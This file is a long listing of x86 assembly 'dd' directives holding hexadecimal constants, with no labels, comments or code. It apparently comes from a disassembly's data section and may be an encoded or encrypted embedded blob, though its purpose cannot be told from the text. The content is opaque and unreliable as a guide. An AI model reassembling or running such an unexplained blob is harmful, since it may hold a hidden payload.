		dd 2EEBF469h, 0C0EE16BAh, 0FB309317h, 1CA54B4Bh, 10C0806h
		dd 153D546Ah, 7EC5E959h, 76F7BC90h, 3ED82511h, 0D2DD8004h
		dd 617855C1h, 98890E90h, 0A2FB425Fh, 0C405905Ah, 41677A76h
		dd 38F501BBh, 2B215064h, 0D405D900h, 744F7825h,	23453A2Dh
		dd 89F2AB51h, 4C3FE07h,	316CC75h, 4BB45030h, 5706BB3Ah
		dd 4074D029h, 8726BB6Ch, 0F82FABF7h, 0BDE0B8A0h, 513F8260h
		dd 6F5F74BDh, 0ABD58B45h, 0D9DC54Dh, 7310B07Bh,	81B01072h
		dd 94B40C4Eh, 0BAA9F037h, 0C9BE03CCh, 464E2B03h, 583F88Dh
		dd 1E8D7721h, 0B1EFA283h, 0F3A5EAFh, 7F0EDCDh, 71B65266h
		dd 262D2793h, 3E25D12h,	584A14CDh, 6A7768F8h, 61775697h
		dd 0CA8F0D56h, 2A6CD0FFh, 38CDDC97h, 9BA414E5h,	0D5C500C6h
		dd 977B720h, 7A59D9B7h,	3500F372h, 7BB73BF9h, 0A8BF61E9h
		dd 28673094h, 0CC31215h, 23C5081h, 39146F3Eh, 2DBE4580h
		dd 58BB585Ah, 0B5053F4Dh, 88D4A911h, 2B09C280h,	5A4AAD65h
		dd 0FB088293h, 12DB2CDFh, 7933E313h, 0E5B5C7EEh, 0B933A5C9h
		dd 4D5BBE5h, 97EFD3C1h,	7E01BA01h, 125F90A3h, 14C20910h
		dd 0F0B544CEh, 2C151AD6h, 897D9937h, 4745D133h,	53CBD5D8h
		dd 0ABCC56DDh, 4FFEF5CCh, 3B809DA1h, 0BEE47F21h, 0E5781E7Fh
		dd 0F704FD78h, 4963BB5Dh, 8C86FDBAh, 7450E841h,	0EA9E4EB7h
		dd 73CA35C2h, 20A81DA0h, 5C8BF04h, 0E5FA7F39h, 0EFF742B0h
		dd 0DB5D0C87h, 9031EC7Fh, 61E01607h, 0CB31292h,	68F5476Dh
		dd 0D39F2876h, 12CB3C6Ah, 0DBA3BE44h, 0C75FE982h, 5BA094FDh
		dd 0D45264EBh, 0C78D815Bh, 3C8C79D4h, 866C27D3h, 163150BFh
		dd 340CE868h, 0A6379543h, 0E6101618h, 2CA088A4h, 0FF71165h
		dd 17708D92h, 526032BEh, 7DAA34C6h, 31F12525h, 0D459BE18h
		dd 283C462Ch, 0AB1680A4h, 0C4C766A8h, 53298FDAh, 0FE97ACCFh
		dd 0E901F401h, 8957BA67h, 970B8260h, 6B0BBD31h,	0F509A077h
		dd 0B5CFDB96h, 0AA51D985h, 0A15909C8h, 43B22592h, 0D25F5A97h
		dd 1A58B7FEh, 5CAF20h, 5E0D148h, 0CC562186h, 27D1D095h
		dd 0FE5AFBC9h, 2FB7DC5Ch, 2D62E141h, 0E908B46Ah, 17901859h
		dd 7867F868h, 5D35CF82h, 321684E6h, 9CB8FEFCh, 12EEF284h
		dd 0AF81101h, 0B353EEFh, 0D60B98F8h, 5091B81Ch,	731F3067h
		dd 628D6958h, 0F693D732h, 5BD10B5Fh, 1163CEFCh,	0F6A76E3h
		dd 70B551E7h, 0D8F44449h, 6EBDEA93h, 9E515E2Fh,	204358AFh
		dd 0C10FAC6Fh, 255603EDh, 93507724h, 2FB0485h, 0B0EC3DC5h
		dd 16D51D50h, 320B639h,	0CC0D0E76h, 0D4F9E9F8h,	50CC9897h
		dd 98799754h, 77AABE60h, 0E9225075h, 30151734h,	0F4D9016Bh
		dd 6E103E74h, 0F84A6BB3h, 26E93D75h, 13BFB4AAh,	0D5A58C5Dh
		dd 8A7C6221h, 0F15E5925h, 0DA2738C0h, 70088172h, 0C940ED46h
		dd 0A46409B8h, 4BABD559h, 53D68FDh, 0B277D7Dh, 902D5B6Ah
		dd 0BF729C84h, 5AB5E85h, 0E9FEBD97h, 99688227h,	27044C25h
		dd 0C2474876h, 6DE95E81h, 0E66BFEE0h, 0E261133h, 0EEA2F504h
		dd 0F88A94BCh, 0A7144888h, 5A6C02C2h, 295E2EE4h, 7B06818Bh
		dd 2B5A3CFDh, 0C42EACA5h, 8D64CFh, 2F59FAE1h, 0E74BC10Ah
		dd 0C70039ADh, 1B68300Ch, 0F05957E9h, 4D2D78C1h, 0DCC5926h
		dd 3B799B16h, 96AE7E84h, 0DA950CF5h, 685B4801h,	884A1420h
		dd 6AFDD2EFh, 0D5C96AF5h, 981DC640h, 4AF1DBC0h,	0B7E329C6h
		dd 9982317Ch, 4038D37Dh, 2EA1720Dh, 16318F9Fh, 8689BEC4h
		dd 1097BC31h, 0A9F55758h, 0E40A76B5h, 0A9342B36h, 10EC9C20h
		dd 0F660A9A9h, 0CC0B50D9h, 69CB7F08h, 97583991h, 0B5FDD108h
		dd 5034B980h, 729F20F1h, 29E9044Dh, 81D1E8B3h, 0A0B9F60Eh
		dd 0C34CC657h, 0ACDF17CFh, 0C4FF3617h, 0F1B68493h, 457BE04h
		dd 4E012BD7h, 0ED4AD7A3h, 16A7052Fh, 16EE6DF8h,	7EB6006Bh
		dd 0F491B84Ch, 0E97CC805h, 31EBAEE8h, 6A0FA459h, 9C25D28h
		dd 256220F8h, 876287Dh,	6D02D826h, 7A367C78h, 9E287A2Ah
		dd 0AB024963h, 0BA07D3E4h, 1301559Ch, 40A31FAh,	0A5695Dh
		dd 965885BFh, 8F70B57Ch, 5F28E707h, 16F64F6h, 24420BFCh
		dd 0D5E93A89h, 0C79767F0h, 36F7A788h, 0FC294FCEh, 0A0D45939h
		dd 0B7FDBAE9h, 2D3F6BE7h, 408DC2AAh, 2D0D8745h,	905C07C1h
		dd 50090BC8h, 0A12CF7B8h, 451B4918h, 95297BE1h,	5558080Bh
		dd 2227D19Dh, 77BE2510h, 0A3C57214h, 8ABAF586h,	0F7BF1A4Eh
		dd 5DF60B33h, 0D98979AFh, 2EB3627Eh, 7320D14Dh,	0A0F1A220h
		dd 0B5C3E907h, 0F175E909h, 4ACE6C59h, 8E9550Ah,	8A08329h
		dd 9F5201A0h, 89E999B4h, 4C1A555Ch, 3F6AE8F5h, 617EBCF7h
		dd 2B199768h, 80BB1F65h, 3A740A2Dh, 0FABD2902h,	0DFD6C58Bh
		dd 95B02C82h, 0E05EB30Bh, 5F700CFAh, 41D9BD1Ah,	9CAA2008h
		dd 8459B84Ch, 94104C63h, 23BD1F78h, 32C83131h, 415E028Ch
		dd 69F07E2h, 72950903h,	660A90F7h, 0F00FDF2Ah, 0D93634E2h
		dd 70F02F4Bh, 26C918CFh, 2AD492D0h, 1203C7Dh, 5B0881D9h
		dd 5BADA62Ah, 51C761FCh, 0ACB394E9h, 3B91D6B2h,	0C92AD572h
		dd 0CE40432Fh, 0C8F5EED2h, 3035FFh, 2D228C2Ch, 0F8F93F83h
		dd 2915E0BFh, 685E09F0h, 4AF9037Fh, 0A6E01293h,	3DA3040Dh
		dd 0C1973C36h, 0C8F8317Ch, 0A55BE9C7h, 0E5809E03h, 0D585C134h
		dd 0C39A406Bh, 0E67A223Bh
		dd 17128098h, 1D00D13Ah, 0E53570F1h, 0CB29245Bh, 0AFF30136h
		dd 7E047F57h, 0E1905FFCh, 1572E104h, 20CEEB7Dh,	3CD1B95Fh
		dd 5B32DF21h, 5DA76969h, 0BACB7330h, 0FA6871CCh, 0BB5F4B67h
		dd 6091F3Dh, 0E6BFDE96h, 27AA1C28h, 4A47D727h, 282831Dh
		dd 0DF20DDE9h, 0F2CF0FD1h, 0C151B4AAh, 0D654025Ch, 3AF1690Ch
		dd 3FE4ED40h, 42CA2466h, 45CE083Eh, 0A224B81Ch,	0DC905164h
		dd 3293537Fh, 30628F4Bh, 82580884h, 0C107F448h,	0A0C90B67h
		dd 3D1C7901h, 0B31EBF06h, 9CBA72CAh, 40697B27h,	0F4521BF3h
		dd 0BA685917h, 179460AAh, 254FDD55h, 0D748E1B8h, 0A7321B81h
		dd 0BCC27E5Fh, 0BD636878h, 271E13C6h, 17B5C179h, 9933FDCh
		dd 12942DC3h, 29D70462h, 0CF33C124h, 0F75B0EC7h, 3D4F1330h
		dd 0DAFC557Dh, 8E47263h, 29F6EBD2h, 0D9675D27h,	4E645213h
		dd 2A58ECC1h, 0C1898702h, 6D0B407Fh, 0EBB72DEDh, 56973254h
		dd 0AEF4BBA9h, 0C5DFE3E6h, 44152968h, 0FA3B43B9h, 0B7C3A188h
		dd 7E447B74h, 2B85C490h, 0CF4E4502h, 6C9171F1h,	0D08C9640h
		dd 11963168h, 39F8D5Dh,	70C6B150h, 0E7BE0C81h, 201A6723h
		dd 0DD4E33Dh, 5FF02099h, 0AA31C458h, 6BF32549h,	0AE6A4E25h
		dd 582583CBh, 7D21B8CDh, 0FF13372Ch, 6ACF2DBAh,	0EDA41BECh
		dd 5EB0A4A9h, 3C284A50h, 68155B9Ah, 10842B05h, 660729A0h
		dd 3FE68858h, 4E0BC4Bh,	0B43E5052h, 0ADE23F40h,	95255720h
		dd 0BF99417Eh, 3B4C4003h, 1E4B8F0h, 0E9068B15h,	7FFEDE5Dh
		dd 40049788h, 0A01D05E1h, 57ED7EAFh, 49024FB8h,	0A6005F91h
		dd 682FBA29h, 9D6170D2h, 0D4E92E74h, 0C9D4083Fh, 0CA8D6327h
		dd 0F296CCF0h, 21476F18h, 811F6DECh, 2BB3EE03h,	0E1560C20h
		dd 0B33A5323h, 59CD1360h, 469CCCBAh, 0C13BB665h, 923DA7BEh
		dd 560A2B02h, 35BBA853h, 4534AD3Fh, 13CEA70Bh, 0DD9E6827h
		dd 15601412h, 7EE76608h, 80044EB0h, 0D107EB81h,	4B795D3Ah
		dd 95A36CC6h, 0B4EF6DBBh, 38CCEEB8h, 586B40E4h,	6817C6FAh
		dd 9761679Fh, 0CA2CD9B5h, 16C0099Eh, 0A25D6CDDh, 4D745575h
		dd 98E2582Fh, 0C0A42EC3h, 7334034h, 1F6379Ah, 30E44E4Bh
		dd 0B779BD0Dh, 0CBF58100h, 0B8AC7FB1h, 0FC3F4EA8h, 4768E0D6h
		dd 82019158h, 51D8E954h, 10CF207Dh, 0BF3B9472h,	0C7F3B6C2h
		dd 68353103h, 62EEF25Bh, 0D2FD0012h, 0B005221Eh, 31AE0F53h
		dd 0CE8C1052h, 18C17BF1h, 0F039CD4Bh, 3E66A82Eh, 67F1004Ah
		dd 7C114E2Dh, 10BDEA36h, 0B65BE74h, 55E764B9h, 0D0B89F60h
		dd 6A8B1A9Dh, 0BBC7DD01h, 5E074209h, 0BF5780DBh, 31670C59h
		dd 6F0BA790h, 5F2D9DDEh, 58FF43EAh, 0FFFF82BDh,	0D590C958h
		dd 54216E1h, 5B95399Dh,	830904Fh, 0E90B1C41h, 0EEFED140h
		dd 6CF20405h, 0A859061Ah, 41EBA4C9h, 0E9CA319Ch, 95007F67h
		dd 0C05BDA88h, 0B1085BEAh, 0B51220C8h, 53B1A6B0h, 5298680Eh
		dd 0B300B1E3h, 0E933051Ah, 2BB510BEh, 8A146A3Bh, 318B6013h
		dd 0BF0257C8h, 0E0D6B786h, 0A9960B4Fh, 9A00FDBDh, 0F4889FF6h
		dd 0A6AEC9F9h, 288BE419h, 0F16FD67h, 0DA4BE92Fh, 1BE8E07Dh
		dd 0AAAB551h, 706CB3C5h, 0B252D802h, 0E819E95Bh, 5AD468FFh
		dd 2383B47Dh, 1F3E1341h, 0D318E56h, 5CBEE17h, 0BCDEE909h
		dd 3B5FA819h, 74CC47F3h, 0A6316857h, 3CD67761h,	7B565DC2h
		dd 27B5F95Bh, 55288C23h, 60BC0CFFh, 0C10C7D38h,	47B5450Fh
		dd 9F5041BDh, 0A26F319Ch, 7FDD7E7h, 7E34D110h, 12F4C507h
		dd 0F5E764EEh, 816ED85h, 0F4E5271Eh, 5466EF5Fh,	0E4B51621h
		dd 0B3AC1630h, 0FD8CFAFEh, 6F654115h, 0ABA5F0A8h, 25E9209Ch
		dd 9D202DABh, 2879CFEAh, 190C7664h, 0F6628BC2h,	0D008A0DEh
		dd 0BC4E140Ch, 0FC7B0B36h, 0E5E5FDFEh, 55C36D93h, 0D7F8E25Dh
		dd 0F02CF89Ch, 8F6364C2h, 1F3A6E47h, 0AB738B0Fh, 6EF48371h
		dd 0F0C10304h, 5082015Dh, 1CDF9960h, 0F6360C2Fh, 209280CBh
		dd 0ADE92631h, 0DFFF7226h, 0B101775Ah, 2F2DB141h, 0A1EEFAA0h
		dd 996B5F08h, 660CB6B5h, 0A840D238h, 0FE17130Ah, 0B9280DF2h
		dd 0C129275Dh, 0E08F57Ch, 0F6E3817Eh, 0F90DF30Fh, 0D89131EBh
		dd 0BE097ABCh, 29A5E949h, 0DC4D09C8h, 295D84D8h, 101FBDCFh
		dd 90BEBA9h, 27F958C7h,	0DF00CFA0h, 915AD230h, 0C0794DE9h
		dd 6EEEB75h, 7F9512A2h,	0E0685B38h, 0F7C451EFh,	34AD2E83h
		dd 3FA72DD3h, 0EC535165h, 4C712BBBh, 0C2AA707Ch, 0CF4D825Fh
		dd 5B5709CAh, 0C4003CE2h, 5E2E4F69h, 0F733D687h, 0BB4E08D2h
		dd 2FD3BADEh, 36CD00B3h, 29D1B096h, 7D296BF1h, 35C38C00h
		dd 2285CE9h, 4F7A8000h,	53D9F720h, 30942BF6h, 0C4043501h
		dd 0B16CBF50h, 89CCF94Bh, 0EAFFE87Ah, 664E12ACh, 6B1AA78h
		dd 70B30805h, 23122458h, 0EFE4D8EBh, 0A2517765h, 0B94FB9BCh
		dd 2DAFF4E2h, 25D72208h, 553CC2E7h, 757A10F4h, 0E9E13D56h
		dd 3689789Bh, 6700A0B8h, 38E52550h, 0B43A642Ch,	3E133300h
		dd 0B5FECBE9h, 7F950164h, 759008Bh, 77BFCB0Bh, 0DFC092h
		dd 4C7D7334h, 98017A3Eh, 0FE5F494Fh, 4CA8C5Eh, 6331457Eh
		dd 0FA89BD76h, 5F95C16Ah, 6FB2E2Dh, 6639058Dh, 80A178B5h
		dd 3D08BBF3h, 48271459h, 85043983h, 6A6A93B9h, 135923CAh
		dd 55C5A810h, 99E32E9Fh, 0D0C2E985h, 3C8468D7h,	16EFB95h
		dd 407C45E2h, 0B2FC6A31h, 0ABDBEE4h, 41A12385h,	0EDE1AEB0h
		dd 0DDC46E1Ah, 40521CAAh, 3CDBF681h, 0E6EC02B6h, 74666F02h
		dd 0DCB4E90Ah, 0C80F0176h, 3B0B7368h, 0B0B6A431h, 0F701CC89h
		dd 35086775h, 282DFE0Ch, 0B3AABD14h, 518E33ACh,	0B588B35Ch
		dd 7BC93AACh, 33FD64D0h, 2E804B9Ch, 0A38B0BFBh,	97C4ADB1h
		dd 57E90802h, 0B5C49634h, 0E9C28B7Eh, 0F9C7F098h, 0F038BF3Bh
		dd 0AEA4D701h, 22C63208h, 3E5BB5E8h, 58AEEE17h,	66E91E8Dh
		dd 93EC904Eh, 0C0B2C3A7h, 0DDADDC26h, 0BA48F500h, 94D8294Dh
		dd 0E17F27A9h, 633A5C6Fh, 0B3848E5Fh, 0E65DCCEFh, 5306179Dh
		dd 5701BF51h, 0E764132Dh, 0CE60FFE2h, 0BDF64505h, 5A004748h
		dd 4EE9D398h, 5E57C25Bh, 0A22E84F5h, 838E8757h,	973F532Fh
		dd 0B71E9257h, 0A43F18CDh, 680452C2h, 374D4925h, 54F24480h
		dd 6E4F0261h, 0C1E9D789h, 3AB9E8E9h, 30E944FFh,	0B1B6FF45h
		dd 9F79CB40h, 6C29BA19h, 90BF0389h, 0CF7D5802h,	4A8E5F86h
		dd 0FF4317E2h, 602B225h, 0F4D36247h, 0A2723CD4h, 7F805708h
		dd 0FF8231E9h, 8CBEF5CAh, 2ADB214h, 2859CCC6h, 9A505F7Fh
		dd 2D418D48h, 3549F278h, 823B0D7Eh, 7FDCBE70h, 0E2FAC4C5h
		dd 50369A2Bh, 0CB8101B3h, 5AD429DBh, 0D426314Bh, 3D5F1A57h
		dd 34EF4BCh, 252478F2h,	49F79A04h, 0EAA85898h, 13E80CD8h
		dd 0E9DC8714h, 0E0FD5BF2h, 0A488EED7h, 9AE5DE0h, 0FC60835Ah
		dd 0CFB007C4h, 0BAD703F5h, 85E9B44Eh, 41BE8D88h, 1C45BAA5h
		dd 0ECC86A6Bh, 2A2213AFh, 5D1E010Dh, 6B88E766h,	247B5A48h
		dd 0EF0D1277h, 0A4F1C497h, 0D0ED66C0h, 0EF95856Bh, 5D43332Dh
		dd 38C3D412h, 0FE35F48Bh, 96163244h, 0B78192B8h, 0F4F7804Bh
		dd 576EFC0h, 0E936CF05h, 0DEBC2A5Ah, 0ABEB86C4h, 2557693Ch
		dd 6E50CF89h, 0C2177F80h, 0CBA83F91h, 0D2B81022h, 2064FE14h
		dd 0B5A3ECBBh, 0E9F060AFh, 6E96C4D1h, 2588B667h, 45E6CC60h
		dd 60B56070h, 0A1110BFh, 44E934B7h, 0C983BDD5h,	5514436Ch
		dd 686391D9h, 74DF83EFh, 0D2BBB053h, 0F314C270h, 7E7836h
		dd 8EFB7434h, 57494A1Bh
		dd 8A0B5565h, 0F6ADAFD1h, 7ED75C95h, 0BAD238A7h, 0AD9D5A21h
		dd 8006E801h, 6B748A35h, 14B89037h, 4F810F50h, 5BD38B01h
		dd 0EFC0805Eh, 66D57C10h, 0C0C76028h, 0D0D8B327h, 0E838EEDAh
		dd 77C700ABh, 73B01335h, 0FBCC4866h, 4502CE00h,	85B9617Dh
		dd 0F09A3BEh, 0F8A51082h, 0B7360AFFh, 8E9E5FBAh, 0EF816B06h
		dd 0CBC15AF9h, 0B5E2160Fh, 0B8F7E0EDh, 3018143Ch, 0B1430DE8h
		dd 300276Eh, 0B44A7E80h, 6969443h, 0F53AFDCh, 58E0278Bh
		dd 0C705E290h, 28A3BBDAh, 57C3C100h, 138F08B4h,	0F8CB8006h
		dd 703906E0h, 7E7A2AA1h, 81BB50CAh, 6017CA35h, 0A44B1DF6h
		dd 9A5D3097h, 11001E62h, 0D0C869A6h, 0F4491AAh,	0D5DE5B9Fh
		dd 0F32FFC0h, 61F2FBBFh, 1E9831Eh, 4C48512h, 0A040580h
		dd 297072Ah, 0DFD2C8h, 0A6B95F7Dh, 2B785B00h, 0D82A9DE7h
		dd 368790Fh, 6C5D0CC7h,	0B6E0EFE5h, 66000997h, 6007C35Eh
		dd 0F3E7237Eh, 4D35094h, 0EE6C0CBBh, 0C1911052h, 3337C0BEh
		dd 2A0FF012h, 0A27A2F07h, 9B878D50h, 92D394C0h,	0C1713274h
		dd 48102E28h, 86F89A5h,	0BA734455h, 0AECF2284h,	448008FDh
		dd 4D88D674h, 61FD0091h, 6D08323Fh, 31583D5Ch, 395900B9h
		dd 51F02B1Dh, 2E7FFEh, 1242E0F7h, 0AA99F5E2h, 0F1CFDA02h
		dd 40B1B2C1h, 1C50A67Ch, 371D10h, 0F9A39CBCh, 483F4340h
		dd 11878FDBh, 0EFBD606Ch, 38F2CBE8h, 0F781F5DEh, 5F7004AAh
		dd 85A03BF6h, 147C2716h, 713D1D58h, 45E872F4h, 808E1A00h
		dd 2A1710A0h, 69400C2h,	5155ABD0h, 0F13BDE6Bh, 750180C4h
		dd 97408766h, 9B9400FBh, 0E2D433C7h, 2800A5BFh,	6FBAEF6Dh
		dd 31917A7h, 2F5C0CD6h,	0D0A00D14h, 0E30C1168h,	386569B4h
		dd 2A752Ch, 0B2504B31h,	51328E57h, 0B600F871h, 61DE5E91h
		dd 3EB5B88Bh, 7400BC23h, 126DCE89h, 0DB037A4Ah,	0F4A046B2h
		dd 0D9B9D8D4h, 3D28003Fh, 840B779Dh, 10908E65h,	4B8A1D01h
		dd 1FA145B6h, 3C3AC8h, 5415667Bh, 6DBF4C91h, 0BE516E00h
		dd 0D80CD567h, 19B80001h, 0E46128F0h, 87003209h, 5D6DDC4h
		dd 9A9921h, 279017CEh, 2C81E396h, 0CF37A100h, 6304223Dh
		dd 0FE3CC00Bh, 0A174952h, 4ED4D000h, 62061658h,	7B6E000Eh
		dd 0EAD330D1h, 5F010D6Ch, 4888FFD8h, 0F04036F5h, 77A3AF74h
		dd 0DD180165h, 0FDBD2041h, 0A643C0ADh, 0D68BC300h, 34C7E7CEh
		dd 28C6EA88h, 24D54C92h, 8420CAh, 0C47CD2C1h, 0DF00AFA7h
		dd 0EC8A9D5Fh, 0F6627874h, 79700F8Ch, 55A02919h, 573B4752h
		dd 41DFF903h, 0D8FA222Eh, 10CE0Ah, 0F6E0C68h, 7181B2E5h
		dd 6F356700h, 447F98EFh, 6CA001Eh, 1BDB8663h, 97004C8Bh
		dd 8AD8818Fh, 0FC7D9EA2h, 61E0074h, 0FC674945h,	6D0093FAh
		dd 0F070D0Ah, 0EB23B73Fh, 9DEE424h, 63C9224Eh, 92374820h
		dd 0A748CC86h, 0DED500E9h, 9F54CB06h, 2B885851h, 94830072h
		dd 8BACB2BEh, 0C3000678h, 6562F9A0h, 0F2C56BC0h, 40D8485Eh
		dd 3D591000h, 2DABFB50h, 886FBB00h, 0B7CE86C8h,	0B0A62567h
		dd 0F800DB70h, 1A019D75h, 0BC833h, 0BDD304A1h, 170DB31Bh
		dd 0C6217C03h, 7C16208h, 0DC5209D8h, 5803E07Fh,	34002C0Ah
		dd 40EC87A4h, 0ACCAE9h,	2B6770B8h, 0E6F25204h, 0C58D580Fh
		dd 0D96EA0CFh, 0C2D2C9h, 0BBE2AF18h, 3EBCFEEAh,	0B0F4CDF6h
		dd 8C112814h, 2EC70090h, 752047F0h, 0DFCC040Ah,	40ECFAB6h
		dd 809F4669h, 0EF2000D1h, 0F093EE0Bh, 0F404EAB0h, 6405253Ah
		dd 3349C3BEh, 594E0B80h, 0C31C2000h, 59161C4h, 0BC0D0E3Ch
		dd 0A4B2F42h, 5AD28700h, 2B00EAA2h, 0FA321CD4h,	0A83EDAh
		dd 58EF02B9h, 0FE8D5289h, 29AF39h, 28A157DCh, 241DC4h
		dd 0F696CE40h, 0E01B60C7h, 0D4364Ch, 555C4F08h,	3B729B4h
		dd 0D03D1970h, 0E7E8BFF9h, 0EA0E6A1Fh, 0F7530F7h, 0C3FFAFA3h
		dd 9016D191h, 1ECEB3Ah,	408F64D6h, 0CC0CFEBBh, 0AD002252h
		dd 6EB3D401h, 7096F2h, 8E78DC8Dh, 5ED50FEBh, 0B9DFB200h
		dd 0B127BA3Ah, 0ECC0013h, 0F1CB6C20h, 0F60F16DDh, 409FA69Ah
		dd 1AD5646Eh, 36760013h, 0AFD12FB1h, 10098401h,	6B2962Ah
		dd 16DD7Ch, 9BD5E099h, 751AB8B9h, 4D0FC900h, 48561843h
		dd 264E7030h, 0A4414Ch,	49DC788Dh, 400566B6h, 12EBC5A0h
		dd 0E1F660C0h, 20FE00B2h, 95FA3FFCh, 8800930Ah,	327B3E72h
		dd 0B8B50FBh, 9419DCA6h, 2880A086h, 0F1680B07h,	2D20AEBBh
		dd 9B697Bh, 7D0EC817h, 983AAC2Bh, 7213D400h, 57076216h
		dd 67CE447h, 38F1AA8Ch,	560049E0h, 9262D43Bh, 0A7A81Bh
		dd 4E08E78Dh, 0F1D6150Fh, 9E739504h, 8480AB94h,	981BB765h
		dd 2BB80030h, 6D81DDE2h, 8C033F40h, 804C453Ch, 0BB3E80ACh
		dd 2D330948h, 70801065h, 0B4DEBCE3h, 4CF01D00h,	3A09082h
		dd 790624D4h, 544000ACh, 6CA9E5DAh, 9F50548h, 0EE374Fh
		dd 0A7A58B59h, 3FFA7C34h, 4E002542h, 4A91559Dh,	0FF907A8Fh
		dd 33EACDB0h, 0EA6E3903h, 0D9FEC971h, 0D7E1BA2Ch, 6C48C4h
		dd 7FCC18C5h, 0EA17B63Dh, 5D00247Ah, 419A58D2h,	1012D4Fh
		dd 78C1191Ch, 0ECE62ADDh, 0A024D5Fh, 7922F3B5h,	0A15460CFh
		dd 7DD1007Eh, 60F4964Bh, 1D002940h, 2545677Ah, 0DC0F51h
		dd 4122A35h, 0EE66FCEBh, 3D1A0D00h, 95E3E705h, 0C5DE009Eh
		dd 549AB8B7h, 0CB903964h, 0FC0BC00h, 24F41765h,	611C000Ah
		dd 0AF7702E7h, 19003A1Fh, 5993E970h, 4CB61812h,	202C88Ch
		dd 1F38A51Ah, 0F2AE8440h, 940BFB77h, 0A3505B2Bh, 0B343B918h
		dd 7993F0ACh, 4C0800F3h, 4B86DE61h, 5D007DCBh, 0B2C25C76h
		dd 0BDD6228h, 0CF6BCA12h, 48932C00h, 1D40A696h,	0F886059Dh
		dd 805B4C78h, 206E6944h, 463854E2h, 1D0C8038h, 790B4D05h
		dd 79EB7B2Eh, 0DBFC582Bh, 7216C600h, 9BAC32DEh,	0DB4AF803h
		dd 4855650h, 0BC3A1C8h,	0A6B09199h, 76F0DF09h, 8B582F05h
		dd 0EBA20008h, 41D20DAh, 1F91FCCDh, 0C035B54Fh,	50740A68h
		dd 45396563h, 0CF1182D6h, 0C006490Ch, 0B154D3D3h, 0C6C800D4h
		dd 6712F795h, 58113100h, 0BAB986BDh, 3CAB00C3h,	0E802D496h
		dd 50D4DBA5h, 61E201C2h, 51E0DD26h, 77DCF4h, 8ABA7173h
		dd 3A7FD537h, 0C4DE4Dh,	0A0870B58h, 0D78B5Ah, 17D0AE53h
		dd 0BD3CF560h, 0D901B00Ch, 0B0A140CBh, 931F0083h, 0F95F8EDDh
		dd 3A03AD35h, 7516D594h, 6E839967h, 801260h, 72D77DDBh
		dd 6B9E6F99h, 3E68A00h,	1BA206BFh, 63CB04AEh, 809FD9AAh
		dd 1C834E82h, 9499500h,	0DF7ADCA8h, 0D451D28h, 9AC200E6h
		dd 0C4F07E6Ah, 77A9C603h, 0D0732139h, 5EEE80Dh,	0C56EE3B6h
		dd 7D3C8089h, 152CAB2Ah, 10378A6h, 0F8DBDC8Bh, 0FAF1F475h
		dd 4E8D001Fh, 0F5471EB9h, 0A100786Ch, 488F7A59h, 0A94401h
		dd 7D23A752h, 78B96576h, 0A0B8CAFCh, 8CF60730h,	24E9BE38h
		dd 80704361h, 31D87BEEh, 0AB001B3Ah, 0C2B2A1BFh, 605C79D7h
		dd 6862B86Ch, 441C964Fh, 64C9610Ch, 794C00A0h, 27AAE95h
		dd 50055CECh, 3CC00B9Ch, 0ECBA0AD4h, 24001D7Eh,	0BD04E165h
		dd 0FDACD8Ch, 33D636D3h, 1EDC31A3h, 0A518A0DCh,	2E9D1B00h
		dd 1863783Fh, 4F940153h, 0F08B09Ah, 88B8205Ah, 47B20701h
		dd 0CB51206h, 1A19270h,	75CEBDFBh, 0E4EBF8B1h, 0EC0027B8h
		dd 556F0DB6h, 0B37FB5Ch, 7BE0FA6Bh, 0FC067780h,	8490DE81h
		dd 0EF2A2600h, 3861F52h, 0C9E1360h, 65CB0066h, 0F93037ADh
		dd 4D3E803h, 0C9741486h
		dd 0A840A2CBh, 47CE7A6h, 0B2549456h, 5F98C0D6h,	21C1599Bh
		dd 0B8EEFDE8h, 38FF6980h, 640F6358h, 495DFB07h,	80391E75h
		dd 9EA5A18h, 44390065h,	0FE460F32h, 8B3957E7h, 51D5B07Eh
		dd 0DF845Ch, 0FF9349C7h, 4E0940E7h, 0B5545B16h,	0CA35F000h
		dd 0BEB00Eh, 0BC25DF7h,	691C39DFh, 4853A405h, 3880442Ah
		dd 0DD9530h, 2959B7AAh,	7167FD0Eh, 4AC00B00h, 0ACA12E14h
		dd 7A700513h, 466D3Bh, 0A81DB9CCh, 0BE00D815h, 0A3BD86B0h
		dd 0BFCD89h, 51B2DF9Eh,	3E9DCCAFh, 721FDA00h, 6971ED13h
		dd 579400ABh, 9E744B49h, 410067ECh, 0F46B267Eh,	2B6FFFh
		dd 1BCD0EA0h, 92BDE14Fh, 5568280Ah, 0D4038C3Bh,	0A02F314Eh
		dd 0B0DCDDCBh, 0B0B700C0h, 6EC04B91h, 0D700FC6Dh, 0B106D118h
		dd 3AE8F8BFh, 3F002711h, 3AE00C2Ah, 0C000131Dh,	2B11207h
		dd 4BF1F3h, 8272791Fh, 7B488445h, 0D3923C00h, 6849B87Ch
		dd 2A1A03C6h, 705213Dh,	35A7A698h, 80550F2Ch, 38815800h
		dd 3C7F7A95h, 0EC807212h, 0F789C7F4h, 0F500A0B9h, 45B5CDD3h
		dd 82DCEFh, 8D326237h, 0B8657AD5h, 2D07AF7Ch, 879E8FA8h
		dd 3B2B11A0h, 34D100A0h, 0B294FD74h, 160E8A73h,	0F22251h
		dd 0C689E52Ah, 75FEE21Fh, 1D170067h, 0BF15A55Dh, 144C2007h
		dd 480800ECh, 0C2E99E10h, 15E7059h, 4AA8D127h, 60C375A3h
		dd 8400E2CCh, 3A32560Ch, 76F89A68h, 0F52F00FCh,	51F62CBEh
		dd 0D200774Dh, 0FD697445h, 0D01580h, 6836304Ch,	4412F83Ch
		dd 0C1AC9800h, 0A5BF86A1h, 0EFCB0097h, 0F1B531EBh, 0DE00AADCh
		dd 0BDD43C11h, 7C00E44h, 2D335D5h, 5725F37Fh, 63A3F280h
		dd 240064F6h, 95E636FDh, 257415E0h, 50807DB2h, 0C53BA3C6h
		dd 0B50042E0h, 637E392Eh, 0F699B3h, 9A0C0AD7h, 85BB083Dh
		dd 0DB819100h, 0B99384CFh, 7356009Dh, 1E0AF925h, 1F75E410h
		dd 0E72D6900h, 0CE8F92F0h, 727E0FD8h, 0BB40B7A2h, 0B2BE6078h
		dd 1091301Fh, 58E18B0Eh, 3B6A0A89h, 0AF806D36h,	0A6EB665Ah
		dd 33003E4Dh, 101F1E56h, 0E89A55CFh, 9E377973h,	0AF9D0394h
		dd 0EBC0B8D0h, 4674B2F7h, 65B8AAEAh, 18C7B4E4h,	0BB40F656h
		dd 253E2E4Eh, 0DC008F18h, 0C09A7AD3h, 22754C1Dh, 0C0BA2133h
